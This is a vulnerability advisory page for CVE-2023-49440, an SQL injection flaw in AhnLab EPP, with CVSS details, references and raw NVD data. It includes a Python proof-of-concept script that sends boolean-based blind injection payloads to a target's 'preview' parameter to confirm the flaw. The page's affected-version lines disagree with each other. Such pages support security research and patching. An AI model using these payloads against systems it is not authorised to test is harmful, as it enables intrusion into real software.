Security Vulnerability Report
中文
CVE-2023-49440 CVSS 8.8 HIGH

CVE-2023-49440

Published: 2025-10-27 16:15:35
Last Modified: 2026-04-15 00:35:42

Description

AhnLab EPP 1.0.15 is vulnerable to SQL Injection via the "preview parameter."

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AhnLab EPP < 1.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-49440 SQL Injection PoC # Target: AhnLab EPP 1.0.15 # Vulnerability: SQL Injection via preview parameter import requests import sys def exploit_sql_injection(target_url, cookie=None): """ SQL Injection PoC for CVE-2023-49440 Tests for boolean-based blind SQL injection """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } if cookie: headers['Cookie'] = cookie # Original request (should return normally) normal_payload = { 'preview': 'test' } # SQL Injection payloads # Boolean-based blind SQL injection true_payload = { 'preview': "test' AND 1=1 --" } false_payload = { 'preview': "test' AND 1=2 --" } try: # Test normal request response_normal = requests.post(target_url, data=normal_payload, headers=headers, timeout=10) # Test true condition response_true = requests.post(target_url, data=true_payload, headers=headers, timeout=10) # Test false condition response_false = requests.post(target_url, data=false_payload, headers=headers, timeout=10) # If true and normal responses are similar, but false is different if response_true.status_code == response_normal.status_code and response_false.status_code != response_normal.status_code: print('[+] SQL Injection vulnerability confirmed!') print('[+] Target is vulnerable to CVE-2023-49440') return True else: print('[-] Target may not be vulnerable') return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2023-49440.py <target_url>') print('Example: python cve-2023-49440.py http://target.com/preview endpoint') sys.exit(1) target = sys.argv[1] exploit_sql_injection(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-49440", "sourceIdentifier": "[email protected]", "published": "2025-10-27T16:15:35.147", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AhnLab EPP 1.0.15 is vulnerable to SQL Injection via the \"preview parameter.\""}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "http://ahnlab.com", "source": "[email protected]"}, {"url": "https://github.com/KernelCipher/CVE-2023-49440-POC", "source": "[email protected]"}, {"url": "https://github.com/NyaMeeEain/CVE-2023-49440", "source": "[email protected]"}]}}